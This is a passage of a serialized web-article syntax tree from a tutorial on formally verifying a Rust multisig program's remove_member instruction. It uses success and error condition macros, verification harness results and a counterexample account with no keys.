removal\n",{"type":24,"tag":327,"props":7291,"children":7292},{"class":329,"line":1084},[7293,7297,7302,7306,7310,7314,7318,7322,7326,7330,7334,7339,7343,7347],{"type":24,"tag":327,"props":7294,"children":7295},{"style":425},[7296],{"type":29,"value":428},{"type":24,"tag":327,"props":7298,"children":7299},{"style":356},[7300],{"type":29,"value":7301}," ctx",{"type":24,"tag":327,"props":7303,"children":7304},{"style":381},[7305],{"type":29,"value":66},{"type":24,"tag":327,"props":7307,"children":7308},{"style":346},[7309],{"type":29,"value":5239},{"type":24,"tag":327,"props":7311,"children":7312},{"style":381},[7313],{"type":29,"value":66},{"type":24,"tag":327,"props":7315,"children":7316},{"style":346},[7317],{"type":29,"value":5248},{"type":24,"tag":327,"props":7319,"children":7320},{"style":381},[7321],{"type":29,"value":66},{"type":24,"tag":327,"props":7323,"children":7324},{"style":346},[7325],{"type":29,"value":2354},{"type":24,"tag":327,"props":7327,"children":7328},{"style":381},[7329],{"type":29,"value":66},{"type":24,"tag":327,"props":7331,"children":7332},{"style":340},[7333],{"type":29,"value":4906},{"type":24,"tag":327,"props":7335,"children":7336},{"style":346},[7337],{"type":29,"value":7338},"() ",{"type":24,"tag":327,"props":7340,"children":7341},{"style":381},[7342],{"type":29,"value":642},{"type":24,"tag":327,"props":7344,"children":7345},{"style":397},[7346],{"type":29,"value":522},{"type":24,"tag":327,"props":7348,"children":7349},{"style":346},[7350],{"type":29,"value":497},{"type":24,"tag":327,"props":7352,"children":7353},{"class":329,"line":1100},[7354,7358,7362,7366,7370,7374,7379],{"type":24,"tag":327,"props":7355,"children":7356},{"style":425},[7357],{"type":29,"value":4944},{"type":24,"tag":327,"props":7359,"children":7360},{"style":340},[7361],{"type":29,"value":4949},{"type":24,"tag":327,"props":7363,"children":7364},{"style":346},[7365],{"type":29,"value":349},{"type":24,"tag":327,"props":7367,"children":7368},{"style":1639},[7369],{"type":29,"value":4958},{"type":24,"tag":327,"props":7371,"children":7372},{"style":381},[7373],{"type":29,"value":2407},{"type":24,"tag":327,"props":7375,"children":7376},{"style":1639},[7377],{"type":29,"value":7378},"CannotRemoveSoloMember",{"type":24,"tag":327,"props":7380,"children":7381},{"style":346},[7382],{"type":29,"value":583},{"type":24,"tag":327,"props":7384,"children":7385},{"class":329,"line":1128},[7386],{"type":24,"tag":327,"props":7387,"children":7388},{"style":346},[7389],{"type":29,"value":535},{"type":24,"tag":327,"props":7391,"children":7392},{"class":329,"line":1148},[7393,7397,7401,7405,7409,7413,7417,7421,7425,7429,7433,7438],{"type":24,"tag":327,"props":7394,"children":7395},{"style":356},[7396],{"type":29,"value":1573},{"type":24,"tag":327,"props":7398,"children":7399},{"style":381},[7400],{"type":29,"value":66},{"type":24,"tag":327,"props":7402,"children":7403},{"style":346},[7404],{"type":29,"value":5239},{"type":24,"tag":327,"props":7406,"children":7407},{"style":381},[7408],{"type":29,"value":66},{"type":24,"tag":327,"props":7410,"children":7411},{"style":346},[7412],{"type":29,"value":5248},{"type":24,"tag":327,"props":7414,"children":7415},{"style":381},[7416],{"type":29,"value":66},{"type":24,"tag":327,"props":7418,"children":7419},{"style":340},[7420],{"type":29,"value":6923},{"type":24,"tag":327,"props":7422,"children":7423},{"style":346},[7424],{"type":29,"value":349},{"type":24,"tag":327,"props":7426,"children":7427},{"style":356},[7428],{"type":29,"value":7257},{"type":24,"tag":327,"props":7430,"children":7431},{"style":346},[7432],{"type":29,"value":3146},{"type":24,"tag":327,"props":7434,"children":7435},{"style":381},[7436],{"type":29,"value":7437},"?",{"type":24,"tag":327,"props":7439,"children":7440},{"style":346},[7441],{"type":29,"value":405},{"type":24,"tag":327,"props":7443,"children":7444},{"class":329,"line":1176},[7445],{"type":24,"tag":327,"props":7446,"children":7447},{"emptyLinePlaceholder":16},[7448],{"type":29,"value":544},{"type":24,"tag":327,"props":7450,"children":7451},{"class":329,"line":1184},[7452],{"type":24,"tag":327,"props":7453,"children":7454},{"style":551},[7455],{"type":29,"value":7456},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":327,"props":7458,"children":7459},{"class":329,"line":1192},[7460,7464,7468,7472,7476,7480,7484,7488,7492,7496,7500,7505,7510,7514,7518,7522,7526,7530,7534,7538,7542,7546],{"type":24,"tag":327,"props":7461,"children":7462},{"style":425},[7463],{"type":29,"value":428},{"type":24,"tag":327,"props":7465,"children":7466},{"style":356},[7467],{"type":29,"value":7301},{"type":24,"tag":327,"props":7469,"children":7470},{"style":381},[7471],{"type":29,"value":66},{"type":24,"tag":327,"props":7473,"children":7474},{"style":346},[7475],{"type":29,"value":5239},{"type":24,"tag":327,"props":7477,"children":7478},{"style":381},[7479],{"type":29,"value":66},{"type":24,"tag":327,"props":7481,"children":7482},{"style":346},[7483],{"type":29,"value":5248},{"type":24,"tag":327,"props":7485,"children":7486},{"style":381},[7487],{"type":29,"value":66},{"type":24,"tag":327,"props":7489,"children":7490},{"style":346},[7491],{"type":29,"value":2354},{"type":24,"tag":327,"props":7493,"children":7494},{"style":381},[7495],{"type":29,"value":66},{"type":24,"tag":327,"props":7497,"children":7498},{"style":340},[7499],{"type":29,"value":4906},{"type":24,"tag":327,"props":7501,"children":7502},{"style":346},[7503],{"type":29,"value":7504},"() \u003C ",{"type":24,"tag":327,"props":7506,"children":7507},{"style":1639},[7508],{"type":29,"value":7509},"usize",{"type":24,"tag":327,"props":7511,"children":7512},{"style":381},[7513],{"type":29,"value":2407},{"type":24,"tag":327,"props":7515,"children":7516},{"style":340},[7517],{"type":29,"value":802},{"type":24,"tag":327,"props":7519,"children":7520},{"style":346},[7521],{"type":29,"value":349},{"type":24,"tag":327,"props":7523,"children":7524},{"style":356},[7525],{"type":29,"value":1631},{"type":24,"tag":327,"props":7527,"children":7528},{"style":381},[7529],{"type":29,"value":66},{"type":24,"tag":327,"props":7531,"children":7532},{"style":346},[7533],{"type":29,"value":5239},{"type":24,"tag":327,"props":7535,"children":7536},{"style":381},[7537],{"type":29,"value":66},{"type":24,"tag":327,"props":7539,"children":7540},{"style":346},[7541],{"type":29,"value":5248},{"type":24,"tag":327,"props":7543,"children":7544},{"style":381},[7545],{"type":29,"value":66},{"type":24,"tag":327,"props":7547,"children":7548},{"style":346},[7549],{"type":29,"value":7550},"threshold) {\n",{"type":24,"tag":327,"props":7552,"children":7553},{"class":329,"line":1212},[7554,7559,7564,7568,7572,7576,7580,7584,7588,7592,7596,7600,7604,7608,7612,7617,7621,7626,7630,7634,7638],{"type":24,"tag":327,"props":7555,"children":7556},{"style":334},[7557],{"type":29,"value":7558},"        let",{"type":24,"tag":327,"props":7560,"children":7561},{"style":356},[7562],{"type":29,"value":7563}," new_threshold",{"type":24,"tag":327,"props":7565,"children":7566},{"style":381},[7567],{"type":29,"value":1636},{"type":24,"tag":327,"props":7569,"children":7570},{"style":1639},[7571],{"type":29,"value":2402},{"type":24,"tag":327,"props":7573,"children":7574},{"style":381},[7575],{"type":29,"value":4809},{"type":24,"tag":327,"props":7577,"children":7578},{"style":356},[7579],{"type":29,"value":7301},{"type":24,"tag":327,"props":7581,"children":7582},{"style":381},[7583],{"type":29,"value":66},{"type":24,"tag":327,"props":7585,"children":7586},{"style":346},[7587],{"type":29,"value":5239},{"type":24,"tag":327,"props":7589,"children":7590},{"style":381},[7591],{"type":29,"value":66},{"type":24,"tag":327,"props":7593,"children":7594},{"style":346},[7595],{"type":29,"value":5248},{"type":24,"tag":327,"props":7597,"children":7598},{"style":381},[7599],{"type":29,"value":66},{"type":24,"tag":327,"props":7601,"children":7602},{"style":346},[7603],{"type":29,"value":2354},{"type":24,"tag":327,"props":7605,"children":7606},{"style":381},[7607],{"type":29,"value":66},{"type":24,"tag":327,"props":7609,"children":7610},{"style":340},[7611],{"type":29,"value":4906},{"type":24,"tag":327,"props":7613,"children":7614},{"style":346},[7615],{"type":29,"value":7616},"()",{"type":24,"tag":327,"props":7618,"children":7619},{"style":381},[7620],{"type":29,"value":66},{"type":24,"tag":327,"props":7622,"children":7623},{"style":340},[7624],{"type":29,"value":7625},"try_into",{"type":24,"tag":327,"props":7627,"children":7628},{"style":346},[7629],{"type":29,"value":7616},{"type":24,"tag":327,"props":7631,"children":7632},{"style":381},[7633],{"type":29,"value":66},{"type":24,"tag":327,"props":7635,"children":7636},{"style":340},[7637],{"type":29,"value":5352},{"type":24,"tag":327,"props":7639,"children":7640},{"style":346},[7641],{"type":29,"value":4838},{"type":24,"tag":327,"props":7643,"children":7644},{"class":329,"line":4841},[7645,7650,7654,7658,7662,7666,7670,7675,7679,7684,7688,7692],{"type":24,"tag":327,"props":7646,"children":7647},{"style":356},[7648],{"type":29,"value":7649},"        ctx",{"type":24,"tag":327,"props":7651,"children":7652},{"style":381},[7653],{"type":29,"value":66},{"type":24,"tag":327,"props":7655,"children":7656},{"style":346},[7657],{"type":29,"value":5239},{"type":24,"tag":327,"props":7659,"children":7660},{"style":381},[7661],{"type":29,"value":66},{"type":24,"tag":327,"props":7663,"children":7664},{"style":346},[7665],{"type":29,"value":5248},{"type":24,"tag":327,"props":7667,"children":7668},{"style":381},[7669],{"type":29,"value":66},{"type":24,"tag":327,"props":7671,"children":7672},{"style":340},[7673],{"type":29,"value":7674},"change_threshold",{"type":24,"tag":327,"props":7676,"children":7677},{"style":346},[7678],{"type":29,"value":349},{"type":24,"tag":327,"props":7680,"children":7681},{"style":356},[7682],{"type":29,"value":7683},"new_threshold",{"type":24,"tag":327,"props":7685,"children":7686},{"style":346},[7687],{"type":29,"value":3146},{"type":24,"tag":327,"props":7689,"children":7690},{"style":381},[7691],{"type":29,"value":7437},{"type":24,"tag":327,"props":7693,"children":7694},{"style":346},[7695],{"type":29,"value":405},{"type":24,"tag":327,"props":7697,"children":7698},{"class":329,"line":4862},[7699],{"type":24,"tag":327,"props":7700,"children":7701},{"style":346},[7702],{"type":29,"value":535},{"type":24,"tag":327,"props":7704,"children":7705},{"class":329,"line":4870},[7706,7710,7715,7719,7723,7727,7731,7735,7739,7743],{"type":24,"tag":327,"props":7707,"children":7708},{"style":334},[7709],{"type":29,"value":4794},{"type":24,"tag":327,"props":7711,"children":7712},{"style":356},[7713],{"type":29,"value":7714}," new_index",{"type":24,"tag":327,"props":7716,"children":7717},{"style":381},[7718],{"type":29,"value":4809},{"type":24,"tag":327,"props":7720,"children":7721},{"style":356},[7722],{"type":29,"value":7301},{"type":24,"tag":327,"props":7724,"children":7725},{"style":381},[7726],{"type":29,"value":66},{"type":24,"tag":327,"props":7728,"children":7729},{"style":346},[7730],{"type":29,"value":5239},{"type":24,"tag":327,"props":7732,"children":7733},{"style":381},[7734],{"type":29,"value":66},{"type":24,"tag":327,"props":7736,"children":7737},{"style":346},[7738],{"type":29,"value":5248},{"type":24,"tag":327,"props":7740,"children":7741},{"style":381},[7742],{"type":29,"value":66},{"type":24,"tag":327,"props":7744,"children":7745},{"style":346},[7746],{"type":29,"value":7747},"transaction_index;\n",{"type":24,"tag":327,"props":7749,"children":7750},{"class":329,"line":4879},[7751,7755,7759,7763,7767,7771,7775,7780,7784,7789],{"type":24,"tag":327,"props":7752,"children":7753},{"style":356},[7754],{"type":29,"value":1573},{"type":24,"tag":327,"props":7756,"children":7757},{"style":381},[7758],{"type":29,"value":66},{"type":24,"tag":327,"props":7760,"children":7761},{"style":346},[7762],{"type":29,"value":5239},{"type":24,"tag":327,"props":7764,"children":7765},{"style":381},[7766],{"type":29,"value":66},{"type":24,"tag":327,"props":7768,"children":7769},{"style":346},[7770],{"type":29,"value":5248},{"type":24,"tag":327,"props":7772,"children":7773},{"style":381},[7774],{"type":29,"value":66},{"type":24,"tag":327,"props":7776,"children":7777},{"style":340},[7778],{"type":29,"value":7779},"set_change_index",{"type":24,"tag":327,"props":7781,"children":7782},{"style":346},[7783],{"type":29,"value":349},{"type":24,"tag":327,"props":7785,"children":7786},{"style":356},[7787],{"type":29,"value":7788},"new_index",{"type":24,"tag":327,"props":7790,"children":7791},{"style":346},[7792],{"type":29,"value":852},{"type":24,"tag":327,"props":7794,"children":7795},{"class":329,"line":4913},[7796],{"type":24,"tag":327,"props":7797,"children":7798},{"style":346},[7799],{"type":29,"value":592},{"type":24,"tag":25,"props":7801,"children":7802},{},[7803,7805,7810],{"type":29,"value":7804},"First let's establish the ",{"type":24,"tag":284,"props":7806,"children":7808},{"className":7807},[],[7809],{"type":29,"value":1501},{"type":29,"value":7811}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":317,"props":7813,"children":7815},{"code":7814,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[7816],{"type":24,"tag":284,"props":7817,"children":7818},{"__ignoreMap":7},[7819,7826,7873,7880],{"type":24,"tag":327,"props":7820,"children":7821},{"class":329,"line":330},[7822],{"type":24,"tag":327,"props":7823,"children":7824},{"style":346},[7825],{"type":29,"value":5561},{"type":24,"tag":327,"props":7827,"children":7828},{"class":329,"line":367},[7829,7833,7837,7841,7845,7849,7853,7857,7861,7865,7869],{"type":24,"tag":327,"props":7830,"children":7831},{"style":346},[7832],{"type":29,"value":1573},{"type":24,"tag":327,"props":7834,"children":7835},{"style":381},[7836],{"type":29,"value":66},{"type":24,"tag":327,"props":7838,"children":7839},{"style":346},[7840],{"type":29,"value":5239},{"type":24,"tag":327,"props":7842,"children":7843},{"style":381},[7844],{"type":29,"value":66},{"type":24,"tag":327,"props":7846,"children":7847},{"style":346},[7848],{"type":29,"value":5248},{"type":24,"tag":327,"props":7850,"children":7851},{"style":381},[7852],{"type":29,"value":66},{"type":24,"tag":327,"props":7854,"children":7855},{"style":346},[7856],{"type":29,"value":2354},{"type":24,"tag":327,"props":7858,"children":7859},{"style":381},[7860],{"type":29,"value":66},{"type":24,"tag":327,"props":7862,"children":7863},{"style":346},[7864],{"type":29,"value":2393},{"type":24,"tag":327,"props":7866,"children":7867},{"style":381},[7868],{"type":29,"value":438},{"type":24,"tag":327,"props":7870,"children":7871},{"style":346},[7872],{"type":29,"value":771},{"type":24,"tag":327,"props":7874,"children":7875},{"class":329,"line":408},[7876],{"type":24,"tag":327,"props":7877,"children":7878},{"style":346},[7879],{"type":29,"value":1609},{"type":24,"tag":327,"props":7881,"children":7882},{"class":329,"line":421},[7883,7887,7891,7895,7899,7903,7907],{"type":24,"tag":327,"props":7884,"children":7885},{"style":334},[7886],{"type":29,"value":1617},{"type":24,"tag":327,"props":7888,"children":7889},{"style":340},[7890],{"type":29,"value":7223},{"type":24,"tag":327,"props":7892,"children":7893},{"style":346},[7894],{"type":29,"value":349},{"type":24,"tag":327,"props":7896,"children":7897},{"style":381},[7898],{"type":29,"value":1922},{"type":24,"tag":327,"props":7900,"children":7901},{"style":346},[7902],{"type":29,"value":5436},{"type":24,"tag":327,"props":7904,"children":7905},{"style":381},[7906],{"type":29,"value":1922},{"type":24,"tag":327,"props":7908,"children":7909},{"style":346},[7910],{"type":29,"value":1949},{"type":24,"tag":25,"props":7912,"children":7913},{},[7914,7916,7921],{"type":29,"value":7915},"And for now let's remove the invariant on the ",{"type":24,"tag":284,"props":7917,"children":7919},{"className":7918},[],[7920],{"type":29,"value":4153},{"type":29,"value":7922}," account:",{"type":24,"tag":317,"props":7924,"children":7926},{"code":7925,"language":1552,"meta":7,"className":1553,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[7927],{"type":24,"tag":284,"props":7928,"children":7929},{"__ignoreMap":7},[7930,7938],{"type":24,"tag":327,"props":7931,"children":7932},{"class":329,"line":330},[7933],{"type":24,"tag":327,"props":7934,"children":7935},{"style":346},[7936],{"type":29,"value":7937},"#[invariant()]\n",{"type":24,"tag":327,"props":7939,"children":7940},{"class":329,"line":367},[7941,7945,7949,7953,7957,7961],{"type":24,"tag":327,"props":7942,"children":7943},{"style":334},[7944],{"type":29,"value":2524},{"type":24,"tag":327,"props":7946,"children":7947},{"style":334},[7948],{"type":29,"value":2529},{"type":24,"tag":327,"props":7950,"children":7951},{"style":1639},[7952],{"type":29,"value":2534},{"type":24,"tag":327,"props":7954,"children":7955},{"style":346},[7956],{"type":29,"value":1940},{"type":24,"tag":327,"props":7958,"children":7959},{"style":381},[7960],{"type":29,"value":1922},{"type":24,"tag":327,"props":7962,"children":7963},{"style":346},[7964],{"type":29,"value":1949},{"type":24,"tag":25,"props":7966,"children":7967},{},[7968],{"type":29,"value":7969},"Let's test this!",{"type":24,"tag":25,"props":7971,"children":7972},{},[7973,7975,7980],{"type":29,"value":7974},"Our ",{"type":24,"tag":284,"props":7976,"children":7978},{"className":7977},[],[7979],{"type":29,"value":1501},{"type":29,"value":7981}," harness produces:",{"type":24,"tag":317,"props":7983,"children":7985},{"code":7984},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[7986],{"type":24,"tag":284,"props":7987,"children":7988},{"__ignoreMap":7},[7989],{"type":29,"value":7984},{"type":24,"tag":25,"props":7991,"children":7992},{},[7993],{"type":29,"value":7994},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":25,"props":7996,"children":7997},{},[7998,8000,8005],{"type":29,"value":7999},"However, remember that since ",{"type":24,"tag":284,"props":8001,"children":8003},{"className":8002},[],[8004],{"type":29,"value":1501},{"type":29,"value":8006}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":25,"props":8008,"children":8009},{},[8010,8012,8017,8019,8024,8026,8031],{"type":29,"value":8011},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":42,"props":8013,"children":8014},{},[8015],{"type":29,"value":8016},"only condition",{"type":29,"value":8018}," in which the function will succeed (i.e. ",{"type":24,"tag":42,"props":8020,"children":8021},{},[8022],{"type":29,"value":8023},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":8025},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":284,"props":8027,"children":8029},{"className":8028},[],[8030],{"type":29,"value":1509},{"type":29,"value":8032}," macro such as:",{"type":24,"tag":317,"props":8034,"children":8036},{"code":8035,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[8037],{"type":24,"tag":284,"props":8038,"children":8039},{"__ignoreMap":7},[8040,8047,8094,8101,8108,8155,8162],{"type":24,"tag":327,"props":8041,"children":8042},{"class":329,"line":330},[8043],{"type":24,"tag":327,"props":8044,"children":8045},{"style":346},[8046],{"type":29,"value":5561},{"type":24,"tag":327,"props":8048,"children":8049},{"class":329,"line":367},[8050,8054,8058,8062,8066,8070,8074,8078,8082,8086,8090],{"type":24,"tag":327,"props":8051,"children":8052},{"style":346},[8053],{"type":29,"value":1573},{"type":24,"tag":327,"props":8055,"children":8056},{"style":381},[8057],{"type":29,"value":66},{"type":24,"tag":327,"props":8059,"children":8060},{"style":346},[8061],{"type":29,"value":5239},{"type":24,"tag":327,"props":8063,"children":8064},{"style":381},[8065],{"type":29,"value":66},{"type":24,"tag":327,"props":8067,"children":8068},{"style":346},[8069],{"type":29,"value":5248},{"type":24,"tag":327,"props":8071,"children":8072},{"style":381},[8073],{"type":29,"value":66},{"type":24,"tag":327,"props":8075,"children":8076},{"style":346},[8077],{"type":29,"value":2354},{"type":24,"tag":327,"props":8079,"children":8080},{"style":381},[8081],{"type":29,"value":66},{"type":24,"tag":327,"props":8083,"children":8084},{"style":346},[8085],{"type":29,"value":2393},{"type":24,"tag":327,"props":8087,"children":8088},{"style":381},[8089],{"type":29,"value":438},{"type":24,"tag":327,"props":8091,"children":8092},{"style":346},[8093],{"type":29,"value":771},{"type":24,"tag":327,"props":8095,"children":8096},{"class":329,"line":408},[8097],{"type":24,"tag":327,"props":8098,"children":8099},{"style":346},[8100],{"type":29,"value":1609},{"type":24,"tag":327,"props":8102,"children":8103},{"class":329,"line":421},[8104],{"type":24,"tag":327,"props":8105,"children":8106},{"style":346},[8107],{"type":29,"value":1565},{"type":24,"tag":327,"props":8109,"children":8110},{"class":329,"line":450},[8111,8115,8119,8123,8127,8131,8135,8139,8143,8147,8151],{"type":24,"tag":327,"props":8112,"children":8113},{"style":346},[8114],{"type":29,"value":1573},{"type":24,"tag":327,"props":8116,"children":8117},{"style":381},[8118],{"type":29,"value":66},{"type":24,"tag":327,"props":8120,"children":8121},{"style":346},[8122],{"type":29,"value":5239},{"type":24,"tag":327,"props":8124,"children":8125},{"style":381},[8126],{"type":29,"value":66},{"type":24,"tag":327,"props":8128,"children":8129},{"style":346},[8130],{"type":29,"value":5248},{"type":24,"tag":327,"props":8132,"children":8133},{"style":381},[8134],{"type":29,"value":66},{"type":24,"tag":327,"props":8136,"children":8137},{"style":346},[8138],{"type":29,"value":2354},{"type":24,"tag":327,"props":8140,"children":8141},{"style":381},[8142],{"type":29,"value":66},{"type":24,"tag":327,"props":8144,"children":8145},{"style":346},[8146],{"type":29,"value":2393},{"type":24,"tag":327,"props":8148,"children":8149},{"style":381},[8150],{"type":29,"value":743},{"type":24,"tag":327,"props":8152,"children":8153},{"style":346},[8154],{"type":29,"value":771},{"type":24,"tag":327,"props":8156,"children":8157},{"class":329,"line":481},[8158],{"type":24,"tag":327,"props":8159,"children":8160},{"style":346},[8161],{"type":29,"value":1609},{"type":24,"tag":327,"props":8163,"children":8164},{"class":329,"line":500},[8165,8169,8173,8177,8181,8185,8189],{"type":24,"tag":327,"props":8166,"children":8167},{"style":334},[8168],{"type":29,"value":1617},{"type":24,"tag":327,"props":8170,"children":8171},{"style":340},[8172],{"type":29,"value":7223},{"type":24,"tag":327,"props":8174,"children":8175},{"style":346},[8176],{"type":29,"value":349},{"type":24,"tag":327,"props":8178,"children":8179},{"style":381},[8180],{"type":29,"value":1922},{"type":24,"tag":327,"props":8182,"children":8183},{"style":346},[8184],{"type":29,"value":5436},{"type":24,"tag":327,"props":8186,"children":8187},{"style":381},[8188],{"type":29,"value":1922},{"type":24,"tag":327,"props":8190,"children":8191},{"style":346},[8192],{"type":29,"value":1949},{"type":24,"tag":25,"props":8194,"children":8195},{},[8196,8198,8203],{"type":29,"value":8197},"Let's test this, we just need to run the new ",{"type":24,"tag":284,"props":8199,"children":8201},{"className":8200},[],[8202],{"type":29,"value":1509},{"type":29,"value":8204}," harness:",{"type":24,"tag":317,"props":8206,"children":8208},{"code":8207},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[8209],{"type":24,"tag":284,"props":8210,"children":8211},{"__ignoreMap":7},[8212],{"type":29,"value":8207},{"type":24,"tag":25,"props":8214,"children":8215},{},[8216],{"type":29,"value":8217},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":317,"props":8219,"children":8221},{"code":8220,"language":1552,"meta":7,"className":1553,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[8222],{"type":24,"tag":284,"props":8223,"children":8224},{"__ignoreMap":7},[8225,8236,8255,8274,8293,8312,8331,8350,8369,8388,8407,8427,8446,8453,8460,8487],{"type":24,"tag":327,"props":8226,"children":8227},{"class":329,"line":330},[8228,8232],{"type":24,"tag":327,"props":8229,"children":8230},{"style":1639},[8231],{"type":29,"value":6614},{"type":24,"tag":327,"props":8233,"children":8234},{"style":346},[8235],{"type":29,"value":497},{"type":24,"tag":327,"props":8237,"children":8238},{"class":329,"line":367},[8239,8243,8247,8251],{"type":24,"tag":327,"props":8240,"children":8241},{"style":356},[8242],{"type":29,"value":6626},{"type":24,"tag":327,"props":8244,"children":8245},{"style":381},[8246],{"type":29,"value":1636},{"type":24,"tag":327,"props":8248,"children":8249},{"style":1639},[8250],{"type":29,"value":2534},{"type":24,"tag":327,"props":8252,"children":8253},{"style":346},[8254],{"type":29,"value":497},{"type":24,"tag":327,"props":8256,"children":8257},{"class":329,"line":408},[8258,8262,8266,8270],{"type":24,"tag":327,"props":8259,"children":8260},{"style":356},[8261],{"type":29,"value":5269},{"type":24,"tag":327,"props":8263,"children":8264},{"style":381},[8265],{"type":29,"value":1636},{"type":24,"tag":327,"props":8267,"children":8268},{"style":397},[8269],{"type":29,"value":6695},{"type":24,"tag":327,"props":8271,"children":8272},{"style":346},[8273],{"type":29,"value":2231},{"type":24,"tag":327,"props":8275,"children":8276},{"class":329,"line":421},[8277,8281,8285,8289],{"type":24,"tag":327,"props":8278,"children":8279},{"style":356},[8280],{"type":29,"value":6666},{"type":24,"tag":327,"props":8282,"children":8283},{"style":381},[8284],{"type":29,"value":1636},{"type":24,"tag":327,"props":8286,"children":8287},{"style":397},[8288],{"type":29,"value":6695},{"type":24,"tag":327,"props":8290,"children":8291},{"style":346},[8292],{"type":29,"value":2231},{"type":24,"tag":327,"props":8294,"children":8295},{"class":329,"line":450},[8296,8300,8304,8308],{"type":24,"tag":327,"props":8297,"children":8298},{"style":356},[8299],{"type":29,"value":6686},{"type":24,"tag":327,"props":8301,"children":8302},{"style":381},[8303],{"type":29,"value":1636},{"type":24,"tag":327,"props":8305,"children":8306},{"style":397},[8307],{"type":29,"value":6695},{"type":24,"tag":327,"props":8309,"children":8310},{"style":346},[8311],{"type":29,"value":2231},{"type":24,"tag":327,"props":8313,"children":8314},{"class":329,"line":481},[8315,8319,8323,8327],{"type":24,"tag":327,"props":8316,"children":8317},{"style":356},[8318],{"type":29,"value":6707},{"type":24,"tag":327,"props":8320,"children":8321},{"style":381},[8322],{"type":29,"value":1636},{"type":24,"tag":327,"props":8324,"children":8325},{"style":397},[8326],{"type":29,"value":6695},{"type":24,"tag":327,"props":8328,"children":8329},{"style":346},[8330],{"type":29,"value":2231},{"type":24,"tag":327,"props":8332,"children":8333},{"class":329,"line":500},[8334,8338,8342,8346],{"type":24,"tag":327,"props":8335,"children":8336},{"style":356},[8337],{"type":29,"value":6727},{"type":24,"tag":327,"props":8339,"children":8340},{"style":381},[8341],{"type":29,"value":1636},{"type":24,"tag":327,"props":8343,"children":8344},{"style":397},[8345],{"type":29,"value":6695},{"type":24,"tag":327,"props":8347,"children":8348},{"style":346},[8349],{"type":29,"value":2231},{"type":24,"tag":327,"props":8351,"children":8352},{"class":329,"line":529},[8353,8357,8361,8365],{"type":24,"tag":327,"props":8354,"children":8355},{"style":356},[8356],{"type":29,"value":5282},{"type":24,"tag":327,"props":8358,"children":8359},{"style":381},[8360],{"type":29,"value":1636},{"type":24,"tag":327,"props":8362,"children":8363},{"style":381},[8364],{"type":29,"value":6755},{"type":24,"tag":327,"props":8366,"children":8367},{"style":346},[8368],{"type":29,"value":2231},{"type":24,"tag":327,"props":8370,"children":8371},{"class":329,"line":538},[8372,8376,8380,8384],{"type":24,"tag":327,"props":8373,"children":8374},{"style":356},[8375],{"type":29,"value":6767},{"type":24,"tag":327,"props":8377,"children":8378},{"style":381},[8379],{"type":29,"value":1636},{"type":24,"tag":327,"props":8381,"children":8382},{"style":334},[8383],{"type":29,"value":6776},{"type":24,"tag":327,"props":8385,"children":8386},{"style":346},[8387],{"type":29,"value":2231},{"type":24,"tag":327,"props":8389,"children":8390},{"class":329,"line":547},[8391,8395,8399,8403],{"type":24,"tag":327,"props":8392,"children":8393},{"style":356},[8394],{"type":29,"value":6788},{"type":24,"tag":327,"props":8396,"children":8397},{"style":381},[8398],{"type":29,"value":1636},{"type":24,"tag":327,"props":8400,"children":8401},{"style":1639},[8402],{"type":29,"value":2770},{"type":24,"tag":327,"props":8404,"children":8405},{"style":346},[8406],{"type":29,"value":497},{"type":24,"tag":327,"props":8408,"children":8409},{"class":329,"line":557},[8410,8415,8419,8423],{"type":24,"tag":327,"props":8411,"children":8412},{"style":356},[8413],{"type":29,"value":8414},"            data",{"type":24,"tag":327,"props":8416,"children":8417},{"style":381},[8418],{"type":29,"value":1636},{"type":24,"tag":327,"props":8420,"children":8421},{"style":381},[8422],{"type":29,"value":6755},{"type":24,"tag":327,"props":8424,"children":8425},{"style":346},[8426],{"type":29,"value":2231},{"type":24,"tag":327,"props":8428,"children":8429},{"class":329,"line":586},[8430,8434,8438,8442],{"type":24,"tag":327,"props":8431,"children":8432},{"style":356},[8433],{"type":29,"value":6809},{"type":24,"tag":327,"props":8435,"children":8436},{"style":381},[8437],{"type":29,"value":1636},{"type":24,"tag":327,"props":8439,"children":8440},{"style":397},[8441],{"type":29,"value":6695},{"type":24,"tag":327,"props":8443,"children":8444},{"style":346},[8445],{"type":29,"value":2231},{"type":24,"tag":327,"props":8447,"children":8448},{"class":329,"line":1017},[8449],{"type":24,"tag":327,"props":8450,"children":8451},{"style":346},[8452],{"type":29,"value":6830},{"type":24,"tag":327,"props":8454,"children":8455},{"class":329,"line":1026},[8456],{"type":24,"tag":327,"props":8457,"children":8458},{"style":346},[8459],{"type":29,"value":6838},{"type":24,"tag":327,"props":8461,"children":8462},{"class":329,"line":1048},[8463,8467,8471,8475,8479,8483],{"type":24,"tag":327,"props":8464,"children":8465},{"style":356},[8466],{"type":29,"value":6846},{"type":24,"tag":327,"props":8468,"children":8469},{"style":381},[8470],{"type":29,"value":1636},{"type":24,"tag":327,"props":8472,"children":8473},{"style":1639},[8474],{"type":29,"value":6855},{"type":24,"tag":327,"props":8476,"children":8477},{"style":346},[8478],{"type":29,"value":1940},{"type":24,"tag":327,"props":8480,"children":8481},{"style":381},[8482],{"type":29,"value":1922},{"type":24,"tag":327,"props":8484,"children":8485},{"style":346},[8486],{"type":29,"value":6868},{"type":24,"tag":327,"props":8488,"children":8489},{"class":329,"line":1067},[8490],{"